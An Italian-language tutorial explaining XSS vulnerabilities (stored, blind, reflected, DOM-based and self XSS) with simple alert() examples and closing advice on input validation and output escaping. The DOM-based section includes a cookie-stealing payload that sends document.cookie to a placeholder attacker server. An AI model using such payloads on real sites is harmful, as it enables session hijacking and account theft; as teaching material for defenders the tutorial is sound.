XSS
Cosa sono, dove si trovano e rimedi.
OWASP
Le vulnerabilità XSS si hanno quando un attaccante può eseguire script sul browser della vittima.
Nel caso in cui un'applicazione non riesca a distinguere tra l'input utente e il codice che costituisce la pagina web, un hacker può iniettare il proprio codice sulle pagine che verranno visualizzate da altri utenti.
Il browser della vittima esegue lo script dell'hacker e le conseguenze possono essere più o meno gravi: cambiamento della pagina web, furto dei cookies, ottenimento di dati personali o il reindirizzamento su un sito malevolo.
Questi script spesso sono scritti in JavaScript, ma possono anche essere HTML, Flash o un qualsiasi linguaggio che il browser può eseguire.
Per capire meglio un attacco XSS, vediamo prima come funziona la sintassi HTML.
Il codice HTML descrive la struttura e i contenuti di una pagina web.
Creiamo un file di testo chiamato test.html con il seguente codice:
<html>
<h1>Benvenuti nella pagina web!</h1>
<p>Grazie della visita!</p>
</html>
Possiamo vedere l'uso di diverse tag:
<html> dice al computer che il seguente codice è HTML
<h1> definisce l'header di una pagina web
<p1> rappresenta un paragrafo di testo
Le tag, poi, vengono chiuse tramite </> per indicare dove finisce l'elemento.
Esistono tante altre tag, <img> permette di inserire immagini, <a> permette il collegamento ad altre pagine, ma quello che interessa di più a noi ai fini dell'XSS è la possibilità di includere script con la tag <script>.
I siti web usano questi script per controllare la logica dell'applicazione lato client e rendere il sito interattivo.
Ad esempio, se modifichiamo il nostro file test.html nel seguente modo, avremo un pop-up con scritto "Ciao!":
<html>
<script>alert("Ciao!")</script>
<h1>Benvenuti nella pagina web!</h1>
<p1>Grazie della visita!</p1>
</html>
Script come questo che sono inseriti all'interno del file HTML, invece di essere caricati da un file separato, vengono chiamati "inline scripts" e sono i responsabili di molte vulnerabilità XSS.
Esistono vari tipi di XSS.
Stored XSS
Si hanno quando l'input utente viene immagazzinato dal server senza nessun controllo. Questo tipo di XSS è quello più grave perché può attaccare molti più utenti rispetto agli altri XSS, basta infatti trovarsi sulla pagina in cui è incluso il payload, mentre per gli altri XSS è necessario che l'utente clicchi su di un link.
Immaginiamo di trovarci su un forum e di poter creare un post per rispondere ad un topic. Nello spazio per il messaggio, invece di includere un messaggio standard, inseriamo lo script di cui sopra: <script>alert("Ciao!").
Siccome il forum non controlla l'input utente, il nostro script verrà eseguito ogni volta che la pagina web viene caricata, mostrando il pop-up "Ciao!".
Abbiamo poi i cosiddetti "Blind XSS", un tipo di stored XSS il cui input viene immagazzinato dal server ed eseguito in un'altra parte dell'applicazione, o un'altra applicazione, di cui non si vede direttamente il risultato.
Questo tipo particolare di XSS è più difficile da rilevare, ma possono essere pericolosi come gli stored XSS.
Questo tipo di XSS viene usato per attaccare gli admin di una pagina web, rubare i loro dati e comprometterne gli account.
Reflected XSS
Questo tipo di XSS si ottiene quando l'input utente viene mostrato senza essere immagazzinato in un database.
L'applicazione prende l'input, lo processa lato server e lo mostra all'utente.
Prendiamo un sito che dia la possibilità all'utente di cercare qualcosa, e proviamo a cercare "abc".
Il server si affida all'input utente per costruire la nuova pagina che mostra i risultati di ricerca, e magari questa nuova pagina ha l'indirizzo www.esempio.com/search?q=abc.
In questo caso possiamo modificare il valore del parametro q, inserendo il nostro payload, diventando quindi:
www.esempio.com/search?q=<script>alert("XSS da Hayden")</script>
Se un hacker riesce ad ingannare la sua vittima e far cliccare sul link sovrastante, il payload sarà incluso nella loro versione della pagina, venendo quindi eseguito.
A differenza degli stored XSS, i reflected XSS permettono ad un hacker di eseguire codice sul browser della vittima che clicca sul loro link.
DOM-Based XSS
Questo tipo è simile al tipo precedente, ma in questo caso l'input utente non lascia mai il browser di questo.
Questa volta, l'applicazione prende l'input, lo processa sul browser della vittima e lo mostra all'utente.
Il DOM (Document Object Model) è un modello che i browser usando per mostrare una pagina web. Il DOM rappresenta la struttura della pagina, definisce le proprietà e comportamenti di ogni elemento HTML e aiuta gli script ad accedere e modificare i contenuti della pagina.
I DOM-based XSS attacca la copia locale del client della pagina web invece di passare attraverso il server.
Un hacker è capace di attaccare il DOM quando una pagina prende dei dati inseriti dall'utente e cambia dinamicamente il DOM a seconda di quell'input.
Come nei reflected XSS, un hacker inserisce il payload attraverso l'input della vittima, ma a differenza dei reflected XSS, questo script non ha bisogno del server, perché viene eseguito ogni volta che l'input utente modifica il codice sorgente della pagina direttamente nel browser.
Vediamo meglio il tutto con un esempio.
Immaginiamo che un sito permetta all'utente di inserire la città in cui si trova, attraverso un parametro URL:
www.esempio.com?città=new+york
Il codice lato client della pagina web userà questa città per costruire un messaggio HTML di benvenuto che assomiglia a
<h2>Benvenuto, utente di New York!</h2>
In questo caso il parametro URL non viene passato al server, ma viene usato localmente, dal browser dell'utente, per costruire una pagina che usa uno script lato client.
Se il sito non controlla il parametro inserito dall'utente, un hacker può ingannare altri utenti a visitare un URL come il seguente:
www.esempio.com?città=<script>location="http://ip_server_hacker/?c="+document.cookie;</script>
Il sito includerà il payload nella pagina web dell'utente e il browser della vittima eseguirà lo script, rubando i cookie della vittima.
Self XSS
Questo tipo di XSS richiedono che sia la vittima stessa ad immettere il payload.
Per riuscirci, un hacker deve ingannare un utente nel fare qualcosa di più di cliccare semplicemente su di un link o vedere una pagina.
Immaginiamo che la dashboard di un utente sia vulnerabile ad un stored XSS. Siccome solo quell'utente può vedere e modificare l'input, non è possibile per un hacker consegnare il payload, a meno che non trovi il modo di ingannare la vittima per fargli inserire il payload a sua insaputa.
Se avete mai visto su Facebook un post in cui si diceva di inserire un pezzettino di codice nel browser per fare qualcosa di "figo", era probabilmente un tentativo di self XSS.
Per mascherare meglio la vera natura del link, di solito vengono usati URL più corti, come bitly.com.
Tuttavia, questo tipo di XSS non viene riconosciuto nei Bug Bounty perchè ricadono sotto la categoria di attacchi di social engineering, in cui si inganna un utente, e non si basano puramente su problemi tecnici.
Prevenzione
Un'applicazione dovrebbe implementare due controlli: la validazione dell'input e "output escaping".
Il server deve controllare che l'input utente non contenga caratteri pericolosi che potrebbero andare a modificare l'esecuzione di una pagina web.
Per escaping si intende la pratica di trasformare i caratteri speciali (&, <, >, ", ', /) in una forma che non andrà ad intaccare l'esecuzione del codice.
Ogni tipo di linguaggio ha la sua funzione di escaping.